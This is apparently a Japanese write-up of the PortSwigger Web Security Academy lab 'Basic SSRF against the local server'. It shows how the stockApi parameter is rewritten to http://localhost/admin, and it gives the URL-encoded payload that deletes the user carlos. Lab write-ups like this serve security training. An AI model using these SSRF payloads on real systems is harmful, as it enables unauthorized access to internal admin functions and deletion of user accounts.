Web Security Academy「Basic SSRF against the local server」解いてみた
はじめに
PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。
Writeup
事前情報
- 在庫確認機能は、内部システムにデータをフェッチする
Walkthrough
商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
リクエストをRepeaterに送って、http://localhost/admin
にしてみると、管理画面のHTMLが閲覧できる。
<section> <h1>Users</h1> <div> <span>carlos - </span> <a href="/admin/delete?username=carlos">Delete</a> </div> <div> <span>wiener - </span> <a href="/admin/delete?username=wiener">Delete</a> </div> </section>
http://loaclhost/admin/delete?username=carlos
にリクエストを送ったらcarlosを消せる。
stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos
Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。